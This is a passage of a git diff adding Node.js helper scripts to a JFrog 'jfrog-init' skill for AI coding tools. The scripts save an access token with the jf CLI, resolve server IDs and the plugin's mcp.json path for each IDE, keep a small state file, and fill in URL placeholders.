parseHttpStatus(tokenResp.stdout); + const exitStatus = (tokenResp.error && tokenResp.error.status) ?? 1; + process.stderr.write(`ERROR: Token retrieval failed (HTTP ${httpCode}, exit ${exitStatus}).\n`); + if (httpCode === "400") { + process.stderr.write("The user may not have completed the browser login yet.\n"); + } + return 2; + } + + const bodyText = tokenResp.stdout + .split("\n") + .filter((line) => !line.includes("[Info]")) + .join("\n"); + + let accessToken = ""; + try { + const parsed = JSON.parse(bodyText); + accessToken = typeof parsed.access_token === "string" ? parsed.access_token : ""; + } catch { + accessToken = ""; + } + + if (!accessToken) { + process.stderr.write("ERROR: Response contained no access token. Login must restart from step 1.\n"); + return 3; + } + if (!SAFE_TOKEN.test(accessToken)) { + process.stderr.write("ERROR: Received token has an unexpected format. Login must restart from step 1.\n"); + return 3; + } + + // A derived server ID drops the scheme, port and path, so it can collide + // with an unrelated server already configured under the same name — the + // remove/add below would delete that entry's credentials silently. + const existingUrl = normalizeJpdUrl(urlForServer(jfConfigShow(), serverId)); + if (existingUrl && existingUrl !== normalizeJpdUrl(platformUrl)) { + process.stderr.write(`ERROR: jf server '${serverId}' already points at ${existingUrl} — refusing to overwrite it.\n`); + return 4; + } + + // Save credentials to jf config (writes to ~/.jfrog/, needs unrestricted filesystem) + try { + execFileSync(jfPath, ["config", "remove", serverId, "--quiet"], execFileOpts(10_000, needsShell)); + } catch { + // No existing entry to remove — fine. + } + + try { + execFileSync( + jfPath, + ["config", "add", serverId, `--url=${platformUrl}`, `--access-token=${accessToken}`, "--interactive=false"], + execFileOpts(15_000, needsShell) + ); + } catch { + process.stderr.write("ERROR: Failed to save credentials with jf config add.\n"); + process.stderr.write("This may be caused by sandbox restrictions on ~/.jfrog/ writes.\n"); + return 4; + } + + process.stdout.write(`SERVER_ID=${serverId}\n`); + process.stdout.write("--- Verifying authentication ---\n"); + + const verify = jfApi([`--server-id=${serverId}`, "/artifactory/api/system/version"]); + process.stdout.write(verify.stdout); + if (!verify.ok) { + process.stderr.write("ERROR: Authentication verification failed. Token may not have saved correctly.\n"); + return 4; + } + + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = saveCredentials(process.argv[2] || "", process.argv[3] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs new file mode 100755 index 0000000..062785c --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs @@ -0,0 +1,74 @@ +#!/usr/bin/env node +// This script itself never writes to the plugin's mcp.json — the file is +// owned by the JFrog plugin (Cursor / VS Code / Claude). It only prints +// the diagnosis and the correct remedy for a plugin file that's missing +// or invalid: reinstall or update the plugin, with per-harness commands +// so the user isn't left guessing. (A placeholder-only problem — e.g. an +// unresolved `${JFROG_PLATFORM_URL}` — is handled separately and +// automatically by jfrog-substitute-mcp-placeholders.mjs, the one place +// in this skill that does edit the file in place; this script is only +// reached when that auto-fix isn't applicable.) +// +// Usage: node jfrog-reinstall-jfrog-plugin.mjs +// Always exits 0 after printing. + +import { existsSync } from "node:fs"; +import { detectHarness, resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; + +const resolved = resolveMcpConfig(); +const harness = detectHarness(); + +console.log(`The JFrog MCP entry lives inside the JFrog plugin's own mcp.json file. +This script never writes to it — it only diagnoses and prints the fix. + +If /jfrog-init sent you here, the plugin's mcp.json is missing, empty, +or otherwise invalid, and the fix is to reinstall or update the JFrog +plugin in your IDE. +`); + +switch (harness) { + case "claude": + console.log(`Claude Code: + claude plugin uninstall jfrog-beta/jfrog # if already installed + claude plugin install jfrog-beta/jfrog + +After install, restart Claude Code, then re-run /jfrog-init.`); + break; + case "cursor": + console.log(`Cursor: + Open Cursor → Settings → Plugins (or Extensions) → search "JFrog" → + Uninstall (if present) → Install. Restart Cursor. + Then re-run /jfrog-init.`); + break; + case "vscode": + console.log(`VS Code: + code --uninstall-extension JFrog.jfrog-vscode-extension || true + code --install-extension JFrog.jfrog-vscode-extension --force + +Restart VS Code, then re-run /jfrog-init.`); + break; + default: + console.log(`Reinstall the JFrog plugin in whichever IDE you're using: + Cursor: Settings → Plugins → search "JFrog" → reinstall. + VS Code: code --install-extension JFrog.jfrog-vscode-extension --force + Claude Code: claude plugin install jfrog-beta/jfrog + +Restart the IDE afterwards, then re-run /jfrog-init.`); +} + +console.log(` +Expected plugin-owned paths (for reference): + + Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json + VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json + Claude: ~/.claude/plugins/cache//jfrog//.mcp.json +`); + +if (resolved.path && existsSync(resolved.path)) { + console.log(`Plugin's mcp.json currently resolves to: ${resolved.path}`); +} else if (resolved.path) { + console.log(`Plugin's mcp.json is expected at ${resolved.path}, but nothing is there right now.`); +} else { + console.log("Plugin's mcp.json is not on disk right now:"); + console.log(` ${resolved.error}`); +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs new file mode 100755 index 0000000..b4a655a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs @@ -0,0 +1,86 @@ +#!/usr/bin/env node +// Resolves which jf server ID to use, in this order: +// 1. First positional arg, if non-empty +// 2. JF_SERVER_ID env var, if non-empty +// 3. The server marked "isDefault": true in ~/.jfrog/jfrog-cli.conf.v6 +// (via `jf c show --format=json`) +// 4. If exactly one server is configured, it is used silently. +// +// This is the single source of truth for server-id resolution — every +// script that needs a server-id (server-ping, catalog-runtime, project, +// detect-all, the mcp-placeholder substituter) MUST resolve through this +// function rather than re-deriving the fallback chain, so they always +// agree on which server is "the" server on a multi-server machine. +// +// Returns the resolved server ID, or "" if multiple servers are +// configured, none is marked default, and no override was given — +// callers must then ask the user (never invent a server, never rely on +// `jf`'s own fallback). +// +// CLI usage: node jfrog-resolve-jf-server.mjs [override] +// Exit 0 -> a server ID was resolved; printed on stdout +// Exit 1 -> could not resolve (no override, no default marked, >1 server) + +import { emit, isMainModule, jfAvailable, jfConfigShow, defaultServerId, emitNoServerResolved, describeJfUnavailable } from "./lib/jf.mjs"; + +// `runJf()` (lib/jf.mjs) passes `--server-id=${serverId}` to `execFileSync` +// as a real array element, never through a shell — so a serverId +// containing spaces or punctuation reaches `jf` as one argument, exactly +// as typed, with no injection surface to defend against here. This used +// to validate the id against an allowlist, then a denylist, on the +// assumption that "real jf server IDs are always a plain identifier" — +// that's false: `jf config add "my server" --interactive=false` succeeds +// and writes `"serverId": "my server"`, and jf enforces no charset of its +// own. Either list rejected realistic ids (spaces, parens from an +// auto-disambiguated id like "dev(1)", etc.) exactly like it would reject +// a genuinely dangerous one, so resolution silently failed closed on a +// perfectly normal setup — misreported by callers as "multiple servers, +// none resolved" instead of the real cause. Now that runJf() no longer +// goes through a shell, there is nothing left for a charset check here to +// protect against. +export function resolveJfServer(override, configList) { + const picked = override || process.env.JF_SERVER_ID || ""; + if (picked) return picked; + // Every caller that passes `configList` has already called jfAvailable() + // itself to get there (see jfrog-detect-*.mjs) — re-checking here would + // just spawn a second, redundant `jf --version`. Only the standalone + // CLI usage below (no configList) still needs this script to check. + if (configList === undefined && !jfAvailable()) return ""; + const list = configList || jfConfigShow(); + const fromDefault = defaultServerId(list); + if (fromDefault) return fromDefault; + if (list.length === 1 && list[0].serverId) { + return list[0].serverId; + } + return ""; +} + +// Shared "jf installed? → read config → resolve server-id → ask if +// ambiguous" preamble — every jfrog-detect-*.mjs that takes an optional +// [server-id] argument (server-ping, catalog-runtime, project) needs the +// exact same four steps; only the status/exit code for "jf not installed" +// differs between them, so that's the one thing callers still pick. +// Returns { serverId, configList, exitCode } — exitCode is non-null (and +// already emitted) when the caller should stop and return it as-is. +export function resolveServerOrEmit(check, argServerId, jfMissing) { + if (!jfAvailable()) { + emit({ check, status: jfMissing.status, detail: describeJfUnavailable() }); + return { serverId: null, configList: [], exitCode: jfMissing.exitCode }; + } + const configList = jfConfigShow(); + const serverId = resolveJfServer(argServerId, configList); + if (!serverId) { + return { serverId: null, configList, exitCode: emitNoServerResolved(check, configList) }; + } + return { serverId, configList, exitCode: null }; +} + +if (isMainModule(import.meta.url)) { + const resolved = resolveJfServer(process.argv[2]); + if (resolved) { + process.stdout.write(resolved + "\n"); + process.exitCode = 0; + } else { + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs new file mode 100755 index 0000000..f38878b --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs @@ -0,0 +1,207 @@ +#!/usr/bin/env node +// Resolves the PLUGIN-OWNED mcp.json for the CURRENT harness and returns its +// absolute path. This is the file the JFrog plugin ships with — NOT the +// user's project- or user-scope MCP config. This skill never touches the +// customer's own mcp.json; only the one owned by the JFrog plugin. +// +// Plugin-owned paths per harness: +// Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json +// (multiple dirs may exist; the most-recently-modified +// one is picked — that's the active version.) +// VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json +// (stable path; no sha in the path.) +// Claude: ~/.claude/plugins/cache//jfrog//.mcp.json +// (glob across any marketplace + version; most-recently- +// modified wins.) +// +// NOTE (Claude): the current released Claude plugin (jfrog-beta/0.3.0-beta.1) +// does NOT ship a .mcp.json — the source repo has one, but the packager +// does not include it. Until the packager is fixed, resolution on Claude +// Code throws a "plugin file not installed" error, which the detector +// converts into a clear red / "reinstall the JFrog plugin" instruction. +// +// Harness detection (env-var signals, in order): +// 1. Claude Code -> $CLAUDECODE / $CLAUDE_CODE_* set +// 2. Cursor -> $CURSOR_AGENT / $CURSOR_CLI / $CURSOR_TRACE_ID set, +// or TERM_PROGRAM=cursor +// 3. VS Code -> $VSCODE_PID set, or TERM_PROGRAM=vscode +// The Cursor signals mirror the base skill's check-environment.sh +// detect_harness() and harness-common.md's routing table. +// +// Overrides: +// - JFROG_INIT_HARNESS=claude|cursor|vscode forces one specific harness. +// - JFROG_INIT_MCP_CONFIG=/abs/path forces one specific path. +// (Escape hatch — bypasses the plugin-path resolution entirely.) +// +// CLI usage: node jfrog-resolve-mcp-config.mjs +// Prints only the path on stdout on success. +// Exit 0 -> path resolved +// Exit 1 -> could not detect the current harness +// Exit 2 -> harness detected, but the plugin's mcp.json is not installed + +import { existsSync, readdirSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const VALID_HARNESSES = new Set(["claude", "cursor", "vscode"]); + +// JFROG_INIT_HARNESS is matched case-insensitively (e.g. "Claude", "CURSOR") +// so the documented override doesn't silently fail on a case mismatch. +export function detectHarness() { + if (process.env.JFROG_INIT_HARNESS) return process.env.JFROG_INIT_HARNESS.trim().toLowerCase(); + if (process.env.CLAUDECODE || process.env.CLAUDE_CODE_ENTRYPOINT || process.env.CLAUDE_CODE_SESSION_ID) return "claude"; + // CURSOR_AGENT / CURSOR_CLI are as much a Cursor signal as + // CURSOR_TRACE_ID — all three are what the base skill's + // check-environment.sh detect_harness() and harness-common.md's routing + // table treat as Cursor, and this function has to agree with them or + // the two disagree about which harness the same session is running in. + // Order matters as much as the signals: Cursor's CLI/agent surfaces can + // report TERM_PROGRAM=vscode, so the Cursor test has to run before the + // VS Code one below or those surfaces resolve to the VS Code plugin + // path and the detector reports the JFrog plugin as missing. + if (process.env.CURSOR_AGENT || process.env.CURSOR_CLI || process.env.CURSOR_TRACE_ID || process.env.TERM_PROGRAM === "cursor") { + return "cursor"; + } + if (process.env.VSCODE_PID || process.env.TERM_PROGRAM === "vscode") return "vscode"; + return ""; +} + +// Picks the newest file matching `/*/<...tailParts>` by mtime. +function newestMatch(dir, tailParts) { + let best = null; + let bestMtime = -Infinity; + let entries; + try { + entries = readdirSync(dir, { withFileTypes: true }); + } catch { + return null; + } + for (const entry of entries) { + if (!entry.isDirectory()) continue; + const candidate = join(dir, entry.name, ...tailParts); + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + // Candidate existed during readdirSync but is gone now (e.g. a + // plugin update replacing this version dir mid-scan) — skip it + // rather than letting statSync's ENOENT crash the whole detector. + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +// Claude's cache nests one extra "marketplace" directory: +// ~/.claude/plugins/cache//jfrog//.mcp.json — one +// newestMatch() per marketplace (over its jfrog/ dirs), then the +// newest across marketplaces. Delegating to newestMatch() rather than +// re-scanning by hand keeps this path's stale-entry handling (a version +// dir vanishing mid-scan) in sync with the Cursor/VS Code path for free. +function newestClaudeMatch() { + const cacheDir = join(homedir(), ".claude", "plugins", "cache"); + let marketplaces; + try { + marketplaces = readdirSync(cacheDir, { withFileTypes: true }); + } catch { + return null; + } + let best = null; + let bestMtime = -Infinity; + for (const mp of marketplaces) { + if (!mp.isDirectory()) continue; + const candidate = newestMatch(join(cacheDir, mp.name, "jfrog"), [".mcp.json"]); + if (!candidate) continue; + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +export function resolveMcpConfig() { + if (process.env.JFROG_INIT_MCP_CONFIG) { + return { path: process.env.JFROG_INIT_MCP_CONFIG }; + } + + const harness = detectHarness(); + + // An explicit override that doesn't match a known harness is a typo, not + // "no signal detected" — say so instead of falling through to the + // generic detection-failure message below, which would tell the user to + // set the very variable they already set. + if (process.env.JFROG_INIT_HARNESS && !VALID_HARNESSES.has(harness)) { + return { + error: `JFROG_INIT_HARNESS=${process.env.JFROG_INIT_HARNESS} is not one of: claude, cursor, vscode.`, + code: 1, + }; + } + + if (harness === "claude") { + const match = newestClaudeMatch(); + if (!match) { + return { + error: + "JFrog Claude plugin does not ship a .mcp.json at ~/.claude/plugins/cache/*/jfrog/*/.mcp.json\n" + + " reinstall or update the JFrog plugin so it includes the file.", + code: 2, + }; + } + return { path: match }; + } + + if (harness === "cursor") { + const match = newestMatch(join(homedir(), ".cursor", "plugins", "cache", "cursor-public", "jfrog"), ["mcp.json"]); + if (!match) { + return { + error: + "JFrog Cursor plugin's mcp.json not found under ~/.cursor/plugins/cache/cursor-public/jfrog/\n" + + " install the JFrog plugin in Cursor to make it available.", + code: 2, + }; + } + return { path: match }; + } + + if (harness === "vscode") { + const p = join(homedir(), ".vscode", "agent-plugins", "github.com", "jfrog", "vscode-plugin", "plugin", ".mcp.json"); + if (!existsSync(p)) { + return { + error: `JFrog VS Code plugin's .mcp.json not found at ${p}\n install the JFrog plugin in VS Code to make it available.`, + code: 2, + }; + } + return { path: p }; + } + + return { + error: + "could not detect current harness (Claude Code / Cursor / VS Code).\n" + + " Set JFROG_INIT_HARNESS=claude|cursor|vscode, or\n" + + " JFROG_INIT_MCP_CONFIG=/absolute/path/to/mcp.json to override.", + code: 1, + }; +} + +if (isMainModule(import.meta.url)) { + const result = resolveMcpConfig(); + if (result.path) { + process.stdout.write(result.path + "\n"); + process.exitCode = 0; + } else { + process.stderr.write(`error: ${result.error}\n`); + process.exitCode = result.code; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-state-file.mjs b/skills/jfrog-init/scripts/jfrog-state-file.mjs new file mode 100755 index 0000000..d1d1b15 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-state-file.mjs @@ -0,0 +1,289 @@ +#!/usr/bin/env node +// jfrog-state-file.mjs — read/write the /jfrog-init state file at +// ~/.jfrog/setup.json. Keyed by JFrog CLI server ID so a machine +// with multiple JPDs stays coherent. +// +// File shape (versioned; consumers MUST tolerate unknown top-level keys): +// { +// "version": 1, +// "servers": { +// "": { +// "jpdUrl": "https://acme.jfrog.io", +// "currentActiveProject": "widgets" +// } +// } +// } +// `currentActiveProject` is OPTIONAL — a record can exist with just +// `jpdUrl` when the server is known but no project has been resolved yet +// (e.g. Step 6 hit its retry cap). Consumers MUST NOT assume it's present. +// +// Rules: +// - Never contains secrets. Only public identifiers (server id, JPD URL, +// project key). No timestamps — the record is a pointer to what's +// active now, not a usage log. +// - Read failure = empty state (no error propagated). The file is a +// hint, not a source of truth. +// - Writes go through a temp file + rename for atomicity so a partial +// write can't leave broken JSON on disk. "set" also takes a +// cross-process exclusive lock around its read-modify-write so two +// concurrent walks updating different servers can't clobber each +// other's record. +// - Directory ~/.jfrog is created with mode 0700 if missing. File is +// written with mode 0644. +// +// Usage: +// node jfrog-state-file.mjs get +// -> stdout is the record's JSON (or "{}" if absent). Exit 0. +// +// node jfrog-state-file.mjs get-current-project +// -> stdout is JSON {"currentActiveProject": "...", "jpdUrl": "..."} +// (fields omitted if no record exists). Exit 0. +// +// node jfrog-state-file.mjs set [project-key] +// -> merges/creates the server record with the given fields. +// [project-key] is optional — pass "" (or omit it) to record the +// server/JPD without a currentActiveProject, e.g. when Step 6 +// couldn't resolve one. Exit 0 on success, exit 1 on write error. +// +// node jfrog-state-file.mjs path +// -> stdout is the absolute path to the state file. Exit 0. +// +// Any parse/write failure prints a short message to stderr and exits +// non-zero; callers can `|| true` to keep the walk moving on stateless +// paths. + +import { mkdirSync, readFileSync, writeFileSync, renameSync, chmodSync, existsSync, unlinkSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const STATE_DIR = join(homedir(), ".jfrog"); +const STATE_PATH = join(STATE_DIR, "setup.json"); +const LOCK_PATH = `${STATE_PATH}.lock`; +const CURRENT_VERSION = 1; + +// Exclusive-create is atomic even across processes, so this is a real +// mutex (not just a TOCTOU-prone existsSync check) guarding the +// read-modify-write in "set" below — two concurrent walks writing +// different servers' records must not clobber each other's update. +// +// Single attempt, no busy-wait retry loop: the record it protects is a +// best-effort "reuse last project?" hint, not a source of truth (the +// caller in jfrog-detect-all.mjs treats a write failure as a warning, +// not a walk failure) — blocking to wait out contention isn't worth the +// latency for what's allowed to be lost anyway. +// +// A process that crashes (Ctrl-C, OOM, harness timeout) while holding the +// lock never reaches releaseLock(), leaving LOCK_PATH on disk forever. To +// recover from that, a lock file older than STALE_LOCK_MS is treated as +// abandoned and removed before the one retry below. +const STALE_LOCK_MS = 30_000; + +function reclaimIfStale() { + try { + if (Date.now() - statSync(LOCK_PATH).mtimeMs > STALE_LOCK_MS) unlinkSync(LOCK_PATH); + } catch { + // Lock vanished between the failed create and this check, or the + // stat itself failed — either way there's nothing to reclaim. + } +} + +function acquireLock() { + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch (err) { + if (err.code !== "EEXIST") throw err; + reclaimIfStale(); + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch { + return false; + } + } +} + +function releaseLock() { + try { + unlinkSync(LOCK_PATH); + } catch { + // Already gone (or never acquired) — nothing to clean up. + } +} + +function loadState() { + if (!existsSync(STATE_PATH)) return { version: CURRENT_VERSION, servers: {} }; + try { + const raw = readFileSync(STATE_PATH, "utf8"); + if (!raw.trim()) return { version: CURRENT_VERSION, servers: {} }; + const parsed = JSON.parse(raw); + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + return { version: CURRENT_VERSION, servers: {} }; + } + if (!parsed.servers || typeof parsed.servers !== "object") { + parsed.servers = {}; + } + return parsed; + } catch { + // Corrupt file — treat as empty so the walk doesn't hard-stop on a + // stale hint. The write path will overwrite it next time we save. + return { version: CURRENT_VERSION, servers: {} }; + } +} + +function ensureStateDir() { + try { + mkdirSync(STATE_DIR, { recursive: true, mode: 0o700 }); + } catch (err) { + if (err.code !== "EEXIST") throw err; + } +} + +function saveState(state) { + ensureStateDir(); + const tmp = `${STATE_PATH}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, JSON.stringify(state, null, 2) + "\n", { mode: 0o644, flag: "wx" }); + // Not redundant with the `mode` above, despite looking it: writeFileSync's + // mode is masked by the process umask at creation, so under a restrictive + // umask (0077, common on hardened machines) the file lands at 0600 and the + // documented 0644 contract at the top of this file silently doesn't hold. + // chmod is not umask-masked, so it forces the mode after the fact. + chmodSync(tmp, 0o644); + renameSync(tmp, STATE_PATH); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + throw err; + } +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess — the same in-process pattern +// jfrog-resolve-jf-server.mjs / jfrog-resolve-mcp-config.mjs / +// jfrog-substitute-mcp-placeholders.mjs use. Returns { ok, error } instead +// of writing to stderr and calling process.exit(), so an in-process +// caller decides for itself how to surface a failure (jfrog-detect-all.mjs +// treats it as a warning, not a walk failure). +// +// The lock is released explicitly on every path (not via try/finally) to +// mirror the CLI wrapper's exit-code contract below exactly. +export function setStateForServer(serverId, jpdUrl, projectKey) { + if (!serverId || !jpdUrl) { + return { ok: false, error: "set requires [project-key]" }; + } + // The lock file lives in STATE_DIR too, so it must exist before + // acquireLock() — not just before saveState() — or the very first + // write on a machine where ~/.jfrog doesn't exist yet (nothing has + // run `jf config add` or otherwise created it) fails with ENOENT. + let locked; + try { + ensureStateDir(); + locked = acquireLock(); + } catch (err) { + return { ok: false, error: `write failed: ${err.message}` }; + } + if (!locked) { + // Lock not acquired (stale lock file from a crashed process, or + // genuine contention) — fail rather than doing the read-modify-write + // unprotected, which would defeat the whole point of the lock. + return { ok: false, error: "could not acquire lock — another /jfrog-init walk may be writing state; try again" }; + } + try { + const state = loadState(); + state.version = CURRENT_VERSION; + state.servers = state.servers || {}; + // Replace the record wholesale rather than spreading the previous + // one forward — otherwise a stale legacy key (e.g. from an older + // state-file schema) would linger alongside the current fields. + // Exception: an empty projectKey means THIS walk didn't resolve a + // project (e.g. Step 6 hit its retry cap), not that the server has + // no project — carry the previous currentActiveProject forward + // rather than erasing a still-possibly-valid "reuse CURRENT?" hint + // over what's likely a transient miss. + const previous = state.servers[serverId]; + state.servers[serverId] = + projectKey ? { jpdUrl, currentActiveProject: projectKey } + : previous?.currentActiveProject ? { jpdUrl, currentActiveProject: previous.currentActiveProject } + : { jpdUrl }; + saveState(state); + releaseLock(); + return { ok: true }; + } catch (err) { + releaseLock(); + return { ok: false, error: `write failed: ${err.message}` }; + } +} + +if (isMainModule(import.meta.url)) { + const [mode, ...args] = process.argv.slice(2); + + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, and every mode below + // is a caller reading that stdout for its result. Every branch now needs + // its own explicit `break` (process.exit() used to provide that for + // free by terminating the process outright). + switch (mode) { + case "path": + process.stdout.write(STATE_PATH); + process.exitCode = 0; + break; + + case "get": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + process.stdout.write(rec ? JSON.stringify(rec) : "{}"); + process.exitCode = 0; + break; + } + + case "get-current-project": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + const out = {}; + if (rec && typeof rec.currentActiveProject === "string") out.currentActiveProject = rec.currentActiveProject; + if (rec && typeof rec.jpdUrl === "string") out.jpdUrl = rec.jpdUrl; + process.stdout.write(JSON.stringify(out)); + process.exitCode = 0; + break; + } + + case "set": { + const [serverId, jpdUrl, projectKey] = args; + const result = setStateForServer(serverId, jpdUrl, projectKey); + if (!result.ok) { + process.stderr.write(`state-file: ${result.error}\n`); + process.exitCode = 1; + break; + } + process.exitCode = 0; + break; + } + + default: + process.stderr.write(`state-file: unknown mode ${JSON.stringify(mode)}\n`); + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs new file mode 100755 index 0000000..8bd635e --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs @@ -0,0 +1,157 @@ +#!/usr/bin/env node +// Rewrites a placeholder-style env-var reference in the JFrog plugin's +// mcp.json — specifically `mcpServers.jfrog.url`, nothing else in the +// file — with the real JPD URL from `jf config`. This is the ONLY code +// path in /jfrog-init that writes to the plugin-owned mcp.json. +// +// Scoped to that one field (rather than a file-wide text replace) so an +// unrelated MCP server entry or JSON value that happens to contain the +// same placeholder text is never touched. +// +// Placeholders handled (both `$VAR` and `${VAR}` forms): +// - JFROG_PLATFORM_URL +// - JFROG_URL +// +// The substitution normalizes the URL to the JPD root before writing, so +// `"url": "https://${JFROG_PLATFORM_URL}/mcp"` becomes +// `"url": "https://acme.jfrog.io/mcp"` regardless of what shape `.url` +// had in `jf config`. +// +// Idempotent: no matching placeholder = no write, exit 0. Atomic: write +// goes to a temp file next to the target and is renamed into place. +// Note: rewrites via JSON.parse/stringify (2-space indent), so unrelated +// formatting in the plugin's file is not preserved byte-for-byte. +// +// Exported as substituteMcpPlaceholders() — a pure function, no stdout +// writes — so jfrog-detect-jfrog-mcp.mjs can call it in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout, the same +// in-process pattern jfrog-resolve-jf-server.mjs/jfrog-resolve-mcp-config.mjs +// use. The CLI entry point below is a thin wrapper around the same function. +// +// Usage: node jfrog-substitute-mcp-placeholders.mjs [server-id] +// +// Exit 0 -> substituted (or no substitution needed) +// Exit 1 -> no jf server configured, or resolved server-id has no url +// Exit 2 -> multiple jf servers configured, none marked default, no +// server-id passed — ambiguous, caller must ask the user +// Exit 3 -> read/write error, or jf missing + +import { existsSync, readFileSync, writeFileSync, renameSync, statSync, chmodSync, unlinkSync } from "node:fs"; +import { emit as emitJf, isMainModule, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl, mcpPlaceholderRegexes, jfrogMcpUrl, hasMcpPlaceholder, askServerResult, describeJfUnavailable } from "./lib/jf.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +// Result shape: { exitCode, status, detail, candidates? } — mirrors the +// CLI contract above (status/candidates match what `emit()` would carry) +// so both the CLI wrapper below and in-process callers read the same +// fields without either one needing to re-derive them. +export function substituteMcpPlaceholders(target, serverIdOverride) { + if (!target) { + return { exitCode: 3, status: "error", detail: "usage: jfrog-substitute-mcp-placeholders.mjs [server-id]" }; + } + if (!existsSync(target)) { + return { exitCode: 3, status: "error", detail: "target file does not exist" }; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + return { exitCode: 3, status: "error", detail: `could not read ${target}: ${err.message}` }; + } + + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + return { exitCode: 3, status: "error", detail: "target file is not valid JSON — refusing to modify" }; + } + + const currentUrl = jfrogMcpUrl(parsed); + + if (currentUrl === null) { + return { exitCode: 0, status: "green", detail: "no mcpServers.jfrog.url present — nothing to substitute" }; + } + + // Checked before resolving a jf server at all — an unresolvable/ambiguous + // server shouldn't turn a jfrog.url that has no placeholder into a red/ask + // result; there's nothing here that needs the server to fix. + if (!hasMcpPlaceholder(currentUrl)) { + return { exitCode: 0, status: "green", detail: "no placeholder found — nothing to substitute" }; + } + + if (!jfAvailable()) { + return { exitCode: 3, status: "error", detail: describeJfUnavailable() }; + } + const configList = jfConfigShow(); + const resolvedId = resolveJfServer(serverIdOverride, configList); + if (!resolvedId) { + if (configList.length === 0) { + return { exitCode: 1, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }; + } + const ask = askServerResult("mcp-placeholder", configList); + return { exitCode: 2, status: "ask", detail: ask.detail, candidates: ask.candidates }; + } + + const jpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedId)); + if (!jpdUrl) { + return { exitCode: 1, status: "red", detail: `server-id '${resolvedId}' has no url in jf config` }; + } + + const { withScheme, bare } = mcpPlaceholderRegexes(); + + // Both forms replace the full match with jpdUrl itself (which already + // carries the correct scheme) rather than preserving whatever scheme + // literally preceded the placeholder in the plugin's mcp.json — that text + // reflects the plugin's shipped template, not the real JPD's scheme. + let newUrl = currentUrl.replace(withScheme, () => jpdUrl); + newUrl = newUrl.replace(bare, () => jpdUrl); + + parsed.mcpServers.jfrog.url = newUrl; + const rewritten = JSON.stringify(parsed, null, 2) + "\n"; + + const tmp = `${target}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, rewritten, { flag: "wx" }); + // rename() replaces the target's inode wholesale, so without this the + // file would silently pick up writeFileSync's default umask-derived + // mode instead of the target's own — e.g. a 0600 mcp.json holding + // another MCP server's secrets in its env block would come back 0644 + // (world-readable) after a substitution that has nothing to do with + // that other entry. + chmodSync(tmp, statSync(target).mode & 0o777); + renameSync(tmp, target); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + // Same cleanup as jfrog-install-jf-cli.mjs's direct-download temp write. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return { exitCode: 3, status: "error", detail: `could not write 